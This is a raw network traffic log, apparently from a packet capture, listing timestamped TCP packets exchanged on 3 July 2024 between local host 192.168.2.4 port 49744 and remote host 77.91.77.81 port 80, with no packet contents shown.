Jul 3, 2024 23:59:25.967389107 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.967394114 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.967422962 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.967443943 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.967454910 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.967473030 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.967488050 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.967506886 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.967520952 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.967535973 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.967554092 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.967586994 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.967587948 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.967613935 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.967618942 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.967643976 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.967650890 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.967681885 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.967684031 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.967700005 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.967720985 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.967734098 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.967770100 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.968573093 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.968605042 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.968626022 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.968638897 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.968657970 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.968691111 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.968699932 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.968723059 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.968734980 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.968755960 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.968770981 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.968790054 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.968803883 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.968841076 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.968869925 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.968902111 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.968933105 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.968936920 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.968941927 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.968971014 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.968987942 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.968991995 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.969014883 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.969027996 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.969032049 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.969038010 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.969073057 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.969090939 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.009263992 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.009325027 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.009428024 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.009480000 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.009485960 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.009511948 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.009527922 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.009545088 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.009563923 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.009592056 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.009610891 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.009644032 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.009659052 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.009676933 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.009691000 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.009710073 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.009751081 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.009763956 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.009795904 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.009809971 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.009829044 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.009848118 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.009862900 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.009881973 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.009911060 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.009917021 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.009962082 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.009963036 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.010009050 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.031956911 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.031991005 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.032011986 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.032026052 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.032040119 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.032075882 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.032075882 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.032129049 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.032130957 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.032162905 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.032177925 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.032207966 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.032233953 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.032269001 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.032275915 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.032298088 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.032320976 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.032346964 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.032349110 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.032382011 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.032396078 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.032413960 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.032434940 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.032447100 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.032468081 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.032489061 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.032480001 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.032541037 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.032546043 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.032574892 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.032591105 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.032617092 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.059627056 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.059679031 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.059681892 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.059708118 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.059722900 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.059755087 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.059773922 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.059823990 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.059825897 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.059856892 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.059866905 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.059901953 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.059909105 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.059942961 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.059952974 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.059973001 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.059987068 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.060009003 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.060023069 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.060070992 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.060074091 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.060111046 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.060120106 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.060153961 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.060168982 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.060198069 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.060220003 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.060256004 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.060265064 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.060313940 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.060323000 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.060372114 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.060378075 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.060405970 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.060417891 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.060437918 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.060453892 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.060523987 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.060525894 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.060559034 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.060573101 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.060592890 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.060602903 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.060621977 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.060640097 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.060664892 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.060667992 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.060699940 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.060709000 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.060733080 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.060745955 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.060765028 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.060781002 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.060796976 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.060821056 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.060844898 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.060847044 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.060878038 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.060895920 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.060910940 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.060930014 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.060944080 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.060966015 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.060975075 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.060976028 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.061017990 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.061023951 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.061057091 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.061067104 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.061100960 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.061105013 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.061136961 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.061156034 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.061178923 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.061183929 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.061218023 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.061233044 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.061249971 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.061274052 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.061285973 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.061290026 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.061317921 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.061333895 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.061351061 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.061356068 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.061379910 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.061388016 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.061414003 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.061424971 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.061446905 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.061455965 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.061480045 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.061496019 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.061522961 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.061530113 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.061561108 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.061579943 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.061594009 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.061603069 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.061625957 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.061638117 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.061657906 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.061669111 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.061688900 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.061701059 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.061736107 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.061738968 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.061774015 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.061791897 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.061806917 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.061817884 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.061837912 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.061849117 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.061872959 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.061882019 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.061906099 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.061925888 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.061940908 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.061949015 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.061974049 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.061980963 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.062005997 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.062012911 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.062040091 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.062055111 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.062073946 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.062083960 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.062107086 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.062120914 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.062150002 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.062151909 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.062185049 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.062195063 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.062216997 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.062227964 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.062248945 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.062264919 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.062282085 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.062290907 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.062314034 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.062325954 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.062346935 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.062350988 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.062380075 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.062395096 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.062429905 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.062434912 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.062474012 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.062488079 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.062490940 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.062516928 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.062521935 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.062539101 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.062544107 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.062563896 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.062585115 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.063952923 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.063993931 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.064002991 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.064027071 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.064038992 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.064059973 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.064080000 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.064110041 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.064141035 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.064173937 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.064196110 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.064205885 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.064217091 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.064241886 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.064260960 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.064275980 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.064297915 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.064306974 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.064333916 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.064357996 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.064361095 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.064390898 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.064412117 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.064439058 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.064443111 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.064505100 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.064518929 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.064551115 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.064559937 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.064593077 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.104904890 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.104957104 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.104971886 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.105006933 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.105016947 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.105041027 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.105051041 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.105073929 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.105086088 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.105107069 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.105114937 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.105145931 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.105151892 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.105195045 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.105196953 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.105227947 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.105245113 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.105277061 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.105309010 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.105340958 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.105353117 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.105386019 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.105391026 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.105422974 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.105434895 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.105459929 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.105468035 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.105492115 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.105504036 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.105530977 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.127635002 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.127707005 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.127717018 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.127768993 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.127772093 CEST	80	49744	77.91.77.81	192.168.2.4
